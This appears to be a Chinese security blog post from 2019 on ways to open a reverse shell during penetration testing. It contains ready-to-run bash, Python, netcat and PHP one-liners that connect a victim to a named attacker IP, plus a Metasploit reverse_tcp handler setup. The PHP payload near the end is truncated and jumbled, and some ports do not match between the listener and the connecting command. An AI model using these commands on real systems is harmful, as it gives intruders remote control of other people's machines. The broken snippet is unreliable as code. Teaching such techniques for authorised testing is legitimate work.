逍遥子

渗透测试中弹shell的多种方式
在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。我们先来讲一下什么是...
扫描右侧二维码阅读全文
30
2019/07

渗透测试中弹shell的多种方式

在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。

我们先来讲一下什么是正向连接和反向连接。

正向连接:我们本机去连接目标机器,比如ssh和mstsc
反向连接:目标机器去连接我们本机
那么为什么反向连接会比较常用呢

目标机器处在局域网内,我们正向连不上他
目标机器是动态ip
目标机器存在防火墙
然后说一下我的实验环境

攻击机:Kali Linux :47.98.229.211

受害机:Centos 7 :149.129.68.117(阿里云服务器)

姿势一 bash

bash也是最常见的一种方式

Kali监听

nc -lvvp 4444

centos运行

bash -i >& /dev/tcp/47.98.229.211/5555 0>&1

执行命令后,成功得到反弹!
请输入图片描述

姿势二 python

攻击机Kali还是监听

nc -lvvp 5555

centos执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.98.229.211",27409));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

请输入图片描述
姿势三 nc
如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听

nc -lvvp 5555

目标机器执行

nc 47.98.229.211 5555 -t -e /bin/bash

这样会把目标机的/bin/bash反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

姿势四 php
攻击机监听

nc -lvvp 4444

要求目标机器有php然后执行

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'


其他的一些高能操作

关于PHP的payload

现在msfconsole中进行简单的配置

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.107
LHOST => 192.168.1.107

PHP

<?
php error_reporting(0); $ip = 'x.x.x.x'; $port = 53; if (($f = 'stream_socket_client') && is_callable($f)) {
{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_
strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('s
>
Last modification:August 2nd, 2019 at 08:45 pm
正在沿街乞讨中……

Leave a Comment

2 comments

  1. 头像有注入 Google Chrome 75.0.3770.142 Windows 10 中国 山东 青岛

    看老哥的博客真的能学到好多啊,对于一个刚入门安全的小白来说,简直是福音

    1. 逍遥子 搜狗浏览器 Build Android 9 中国 北京 北京
      @头像有注入

      感谢支持,相互学习🤟